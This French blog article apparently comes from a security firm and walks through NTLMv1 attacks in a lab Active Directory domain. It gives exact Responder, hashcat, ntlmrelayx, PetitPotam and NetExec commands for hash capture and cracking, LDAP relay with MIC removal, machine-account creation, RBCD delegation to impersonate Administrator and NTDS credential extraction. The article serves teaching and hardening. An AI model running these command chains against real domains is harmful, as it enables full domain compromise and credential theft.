Attaques sur le protocole NTLMv1

Introduction

Cet article a pour but de montrer quelques-unes des attaques existantes sur la version 1 du protocole NTLM.

La majorité d’entre elles demande que l’attaquant se retrouve à un moment ou un autre en position de man-in-the-middle lui permettant de mettre en place les mécanismes de relais décrits dans le précédent article sur le fonctionnement et les faiblesses de ce protocole.

Entrons tout de suite dans le vif du sujet.

Sommaire

1. Les outils

2. L’environnement de test

3. Les attaques

3.1. Les attaques par force brute
3.2. Hashcat – attaque par dictionnaire

3.3. Hashcat – attaque par force brute

3.4. Drop The Mic

3.5. Énumération Active Directory

3.6. Ajout d’un compte au domaine

3.7. RBCD

  • 3.7.1 Coerce
  • 3.7.2 AllowedToActOnBehalfOfOtherIdentity
  • 3.7.3 Connexion au domaine
  • 3.7.4Extraction NTDS

4. Conclusion

1. Les outils

Dans cet article nous allons parler de quelques outils très fréquemment utilisés en Pentest ou par les attaquants :

Responder : Permettra d’écouter le réseau sur de nombreux protocoles et d’opérer des modifications sur les paquets réseau interceptés, ou encore d’afficher les requêtes NTLM AUTHENTICATE qu’il voit passer.

ntlmrelayx : servira à modifier et relayer les requêtes NTLM récupérées par notre machine en position de man-in-the-middle.

Hashcat : pour toute action de bruteforce

NetExec : pour les interactions avec le domaine (LE couteau suisse du pentester)

PetitPotam.py : outil permettant la coerce d’une machine (explication dans l’article)

2. L’environnement de test

Il est composé de trois machines :

DC01 (192.168.56.10) et DC02 (192.168.56.20) : les contrôleurs du domaine hardening.lab

WKS01 (192.168.56.107) : une machine cliente Windows 10 liée au domaine hardening.lab

ATTAK01 (192.168.56.1112) : la machine Debian de l’attaquant, non liée au domaine

3. Les attaques

Comme expliqué précédemment, notre machine d’attaque doit se trouver en position de man-in-the-middle pour être en mesure d’intercepter les requêtes NTLM provenant de machines légitimes.

Il existe de nombreuses façons d’obtenir ce statut (empoisonnement LLMNR, Netbios, mDNS, ARP, ajout d’un combo DHCP/DNS IPv6, …) mais ça n’est pas le sujet de cet article (peut-être d’un prochain ?).

Nous partirons du postulat que notre machine d’attaque est déjà dans cette position et qu’elle reçoit des requêtes NTLM.

3.1. Les attaques par force brute

On commence par lancer Responder et attendre l’arrivée d’une authentification.

Python3 responder.py -I enp0s8 -v --disable-ess

 

Explication des paramètres :

  • -I : l’interface réseau en écoute
  • --disable-ess : force la désactivation de la sécurité ESS (si possible)
  • -v : mode verbeux

Après quelques instants, nous recevons une requête NEGOCIATE (première requête de l’authentification NTLM). Cela signifie que quelqu’un ou quelque chose tente de s’authentifier à nous.

Dans notre cas, c’est un lecteur réseau d’une machine qui ne trouve pas sa destination (par exemple si le serveur hébergeant le partage réseau est décommissionné). Il tombe ainsi dans le piège de notre empoisonnement LLMNR, qui nous permet d’être positionnés en man-in-the-middle.

Responder va y répondre avec le challenge que nous avons fixé (CHALLENGE) et le client va chiffrer ce challenge avec le hash NT de son secret (AUTHENTICATE) comme nous l’avons vu dans le précédent article.

C’est le hash NTLM présent dans cette dernière requête que Responder nous affiche :

Hash NTLMv1 dans responder

Description des informations de l’image précédente :

  • En vert : le nom d’utilisateur qui initie l’authentification et le domaine auquel il est lié
  • En rouge : le hash NTLM (affiché deux fois)
  • En bleu : le challenge utilisé pour calculer le hash NTLM

Nous voilà en procession du hash NTLM de l’utilisateur user1 du domaine hardening.lab

3.2. Hashcat – attaque par dictionnaire

Il est maintenant possible de casser ce hash NTLM via l’utilisation du logiciel hashcat. Pour ce faire, on commence par ajouter le contenu de la réponse retournée par Responder dans un fichier :

Fichier contenant le hash

On peut maintenant lancer le cassage par dictionnaire via la commande suivante :

hashcat -m 5500 hash.txt -a 0 rockyou.txt

Explication des paramètres :

  • -m : le module hashcat à employer, 5500 correspond au format NTLMv1
  • Hash.txt : le fichier contenant notre hash
  • -a 0 : le type d’attaque à réaliser. Ici, attaque par dictionnaire
  • Rockyou.txt : le dictionnaire utilisé pour tenter de casser le hash.

Le mot de passe a ainsi pu être retrouvé.

Mot de passe cassé grâce à un dictionnaire

3.3. Hashcat – attaque par force brute

Il n’est pas nécessaire d’utiliser un dictionnaire pour casser un hash NTLM. Il est possible de tenter toutes les combinaisons possibles jusqu’à trouver celle correspondant au mot de passe duquel le hash est dérivé.

Cette attaque est beaucoup plus longue mais reste efficace dans un temps raisonnable du fait du faible niveau de chiffrement du hash NTLMv1. Voici comment la mettre en œuvre.

hashcat -m 5500 ./hash.txt -a 3 -1 ?u?l?d?s ?u?1?1?1?1?1?1?1?1?1?1?1?1?1 -i

Explication des paramètres :

  • -a 3 : le type d’attaque à réaliser. Ici, attaque par force brute
  • -1 ?u?l?d?s : définition d’un jeu de caractères (-1 représentera l’ensemble des caractères minuscules, majuscules, chiffres et spéciaux)
  • ?u?1?1?1?1?1?1?1?1?1?1?1?1?1 : le masque à utiliser. Ici, la première lettre sera toujours en majuscule ( ?u), les suivantes proviendront du jeu de caractères défini ci-dessus
  • -i : utiliser la méthode incrémentale (d’abord 1 caractère, puis 2, puis 3, …)

Par cette méthode, le mot de passe a pu être retrouvé en un peu plus de 4 minutes depuis une machine dédiée à cette tâche.

Cassage du mot de passe par force brute

Le temps de casse varie en fonction de la puissance de la machine et surtout de la longueur/complexité du mot de passe. Un mot de passe vraiment fort ne sera jamais trouvé par cette technique.

3.4. Drop The Mic

Comme expliqué dans l’article précédent, la version 1 du protocole NTLM permet la suppression du MIC, garant de l’intégrité des requêtes de l’authentification via NTLM.

De ce fait, il est possible de modifier à notre convenance toute requête avant de la relayer.

Cela rend possibles les attaques suivantes : nous avons vu précédemment que l’on pouvait répondre aux requêtes NTLM en étant placé en position de man-in-the-middle. Il est également possible de modifier et relayer ces requêtes.

Pour ce faire nous pouvons utiliser NTLMRelayX.

La suppression du MIC permet notamment de relayer une authentification NTLM initiée depuis le protocole SMB, vers le protocole LDAP. C’est cette vulnérabilité que nous allons exploiter par la suite.

Le relais de SMB vers SMB reste possible sans la suppression du MIC. Cela permet d’autres types d’attaques, mais nécessite que :

  • la signature sur SMB soit désactivée coté serveur
  • le compte relayé possède des privilèges spécifiques sur la machine (accès à des partages réseaux, droits d’administration, …).

Les attaques décrites dans les chapitres suivants utilisent le relais d’un utilisateur sans droits particuliers.

5.5. Énumération Active Directory

La commande suivante permet de relayer une requête NTLM vers un contrôleur de domaine, après avoir supprimé le contrôle d’intégrité (MIC).

Nous choisissons le protocole LDAP pour destination afin d’énumérer les actifs de l’environnement Active Directory (liste des utilisateurs, groupes, machines, descriptions, GPO, …).

ntlmrelayx -t ldap://192.168.56.10 --remove-mic -smb2support -l lootdir

Explication des paramètres :

  • -t ldap://192.168.56.10 : la cible du relais. Ici le contrôleur de domaine sur le protocole LDAP
  • --remove-mic : supprime le contrôle d’intégrité (MIC)
  • -smb2support : supporte la version 2 du protocole SMB pour les requêtes entrantes
  • -l lootdir : le répertoire de sortie des informations extraites de l’Active Directory

Lors du relais d’une requête, NTLMRelayX nous affiche les informations suivantes :

Extraction des informations ActiveDirectory

Encadrées en rouge, les différentes actions effectuées par NtlmRealyx :

  1. Réception de la requête d’authentification de la machine 192.168.56.107
  2. Relai de l’authentification vers le contrôleur de domaine, via le protocole LDAP
  3. Vérification des permissions de l’utilisateur (ici, un simple utilisateur)
  4. Extraction des informations de l’Active Directory

Voici quelques exemples des informations extraites par ntlmrelayx dans le répertoire loot :

Extraction de la politique de mot de passe du domaine

Extraction des groupes du domaine

Extrcation des utilisateurs du domaine

Avec ces informations, un attaquant a une vision beaucoup plus claire de l’environnement dans lequel il se trouve.

On remarque que le champ LDAP description des comptes est également extrait. Il n’est pas rare d’y trouver des mots de passe.

3.6. Ajout d’un compte au domaine

Par défaut, un compte utilisateur même sans privilège, est autorisé à ajouter 10 machines au domaine. Cela signifie qu’il peut créer 10 comptes machines. Il s’agit de comptes qui peuvent être utilisés comme des utilisateurs standards.

En utilisant une nouvelle fois NTLMRelayX, il est possible de relayer une authentification pour créer un tel compte. Cela permet à un attaquant d’obtenir un accès au domaine légitime, avec un identifiant et un mot de passe.

ntlmrelayx -t ldap://192.168.56.10 --remove-mic -smb2support --add-computer 'newMachineAccount$' 'Eddf5eFF.zefZ58585qst'

Explication des paramètres :

  • --add-computer : permet l’ajout d’un compte machine
  • 'newMachineAccount$' : le nom du compte à ajouter
  • 'Eddf5eFF.zefZ58585qst' : le mot de passe du compte à ajouter

Ajout d'un compte machine au domaine Active Directory

On remarque qu’après les étapes de relais, le compte machine newMachineAccount$ est créé dans le conteneur Computers, avec le mot de passe Eddf5eFF.zefZ58585qst.

Il est maintenant possible de s’authentifier au domaine avec ce compte :

Connexion au domaine avec le compte machine

Avec un compte dans le domaine, un attaquant est en mesure de continuer l’énumération Active Directory (en utilisant des outils comme Bloodhound par exemple) afin de lister les vulnérabilités qui pourraient s’y trouver (ACL, ADCS, …).

3.7. RBCD

Maintenant que nous possédons un compte utilisateur du domaine, nous allons pouvoir l’utiliser pour forcer un contrôleur de domaine (DC01) à effectuer une authentification (toujours en NTLMv1) vers notre machine. Cette étape s'appelle la Coerce.

Nous pourrons relayer cette authentification vers un autre contrôleur de domaine (DC02).

Nous allons alors être en mesure d’écrire dans le champ LDAP msDS-AllowedToActOnBehalfOfOtherIdentity du compte machine relayé (DC01).

Ce champ autorise le compte machine qui y est inscrit à se connecter via Kerberos à la machine relayée (DC01) au nom de n’importe quel compte du domaine, non protégé contre la délégation.

Il s’agit d’un mécanisme de délégation intégré à Active Directory, connu sous le nom de Resource-based Constrained Delegation (RBCD).

Un compte machine possède les droits nécessaires pour modifier son propre champ LDAP msDS-AllowedToActOnBehalfOfOtherIdentity. Pour ça, il doit se connecter via le protocole LDAP sur un contrôleur de domaine. C’est l’attaque que nous allons mettre en place :

DC01 va se connecter sur DC02 via LDAP pour ajouter le compte machine newMachineAccount$ à son champ msDS-AllowedToActOnBehalfOfOtherIdentity.

Le compte machine newMachineAccount$ possèdera ainsi les droits nécessaires pour se connecter au nom de n’importe quel utilisateur (non protégé contre la délégation) à DC01.

Note : Il n'est pas possible de relayer une machine vers elle-même. C’est la raison pour laquelle un deuxième contrôleur de domaine est nécessaire à la réussite de cette attaque.

Note2 : des recherches récentes ont permis de découvrir de nouvelles vulnérabilités permettant le relais d’une machine vers elle-même (CVE-2025-33073).

3.7.1. Coerce

Commençons par forcer DC01 à s’authentifier auprès de notre machine.

Pour cela, nous allons utiliser le script PetitPotam.py. Dans la majorité des cas, cette attaque nécessite un compte du domaine (si les contrôleurs de domaine sont à jour). Ça tombe bien, nous en avons créé un : le compte machine newMachineAccount$.

PetitPotam -u 'newMachineAccount$' -p 'Eddf5eFF.zefZ58585qst' -d hardening.lab 192.168.56.112 192.168.56.10

Explication des paramètres :

  • -u 'newMachineAccount$' : nom du compte à utiliser pour la connexion à la cible
  • -p 'Eddf5eFF.zefZ58585qst' : mot de passe du compte
  • -d hardening.lab : domaine du compte
  • 168.56.112 : la machine vers laquelle l’authentification sera effectuée (machine de l’attaquant)
  • 168.56.10 : la machine qui va s’authentifier (la cible, ici DC01)

Coerce avec PetitPotam.

Si on relance Responder (avant l'exécution de PetitPotam), on voit bien l’authentification arriver sur notre machine. Celle-ci est faite depuis le contrôleur de domaine en NTLMv1.

Authentification de DC01 en NTLMv1

Nous avons ainsi vérifié que toutes les conditions sont réunies pour lancer l’attaque.

3.7.2. AllowedToActOnBehalfOfOtherIdentity

Après avoir stopé Responder (il écoute sur le port 445 et NtlmRelayx a besoin d’écouter sur ce port), on relance NtlmRelayX avec les options suivantes, permettant l’ajout de notre compte machine au champ msDS-AllowedToActOnBehalfOfOtherIdentity :

ntlmrelayx -t ldap://192.168.56.20 --remove-mic -smb2support --delegate-access --escalate-user 'newMachineAccount$'

Explication des paramètres :

  • -t ldap://168.56.20 : machine vers laquelle relayer l’authentification (ici DC02)
  • --delegate-access : active l’ajout d’un compte dans le champ LDAP msDS-AllowedToActOnBehalfOfOtherIdentity
  • --escalate-user 'newMachineAccount$' : le compte à ajouter au champ LDAP

Après avoir exécuté cette commande, on relance PetitPotam et on observe le résultat dans ntlmrelayx :

RBCD via NTLMRelayX

On voit bien que l’authentification de DC01 (192.168.56.10) est relayée sur LDAP vers DC02 (192.168.56.20). Puis que NtlmRelayX utilise cette connexion pour ajouter les droits RBCD à newMachineAccount$ sur DC01.

3.7.3. Connexion au domaine

Les étapes suivantes consistent à utiliser cette délégation pour générer un ticket de service Kerberos au nom de n’importe quel utilisateur non protégé contre la délégation.

Par défaut, tous les utilisateurs qui ne sont pas présents dans le groupe Protected Users ne sont pas protégés. En ciblant le bon service (par exemple cifs) nous pourrions utiliser ce ticket pour nous connecter à DC01 en tant que l’utilisateur ainsi usurpé (un compte administrateur). Ceci entrainerait la compromission du contrôleur de domaine et donc de tout le domaine Active Directory.

Les développeurs de NetExec (et notamment l’ami Zblurx) ont automatisé toutes ces étapes pour nous.

La commande suivante utilise le compte machine newMachineAccount$ pour se connecter à DC01 en tant que l’utilisateur Administrateur.

nxc smb dc01.hardening.lab-u 'newMachineAccount$' -p 'Eddf5eFF.zefZ58585qst' -d hardening.lab --delegate Administrateur -k

Explication des paramètres :

  • --delegate Administrateur : automatise les étapes nécessaires à l’usurpation du compte administrateur
  • -k : utiliser l’authentification Kerberos

Utilisation de RBCD pour se connecter en tant qu'Administrateur à DC01

L’inscription Admin! en jaune montre que nous avons les privilèges maximums sur la machine DC01.

Le contrôleur de domaine et ainsi le domaine sont compromis.

3.7.4. Extraction NTDS

Avec les droits maximums sur un contrôleur de domaine, on est en mesure d’extraire la base NTDS qui contient l’ensemble des comptes du domaine ainsi que leurs hashs.  

Une nouvelle fois, NetExec peut se charger de cette opération.

nxc smb 192.168.56.10 -u 'newMachineAccount' -p 'Eddf5eFF.zefZ58585qst' -d hardening.lab --delegate Administrateur --ntds -k

Explication des paramètres :

  • --ntds : lance l’extraction de la base NTDS du domaine

Extraction de la base NTDS du domaine hardening.lab

Le domaine est maintenant totalement compromis puisque nous sommes en possession des identifiants de l’ensemble des ressources de celui-ci.

Pour rappel : seul le hash du mot de passe est nécessaire pour effectuer une connexion NTLM. Il n’est donc pas utile de casser les hashs ainsi récupérés pour en obtenir les mots de passe en clair.

4. Conclusion

Les attaques décrites dans cet article ne représentent qu’une partie des exploitations possible du protocole NTLM en version 1.

Nous avons vu qu’il était possible de compromettre l’ensemble du domaine sans nécessiter de privilèges préalables, et ce uniquement en exploitant des configurations Active Directory par défaut avec NTLMv1.

Cet article montre pourquoi il est urgent d'en finir avec cette version obsolète du protocole NTLM.

Le prochain article sera dédié aux remédiations à mettre en place et à la maitrise des impacts éventuels qu’elles pourraient engendrer.

Que savent les hackers sur votre entreprise ?
Faire le test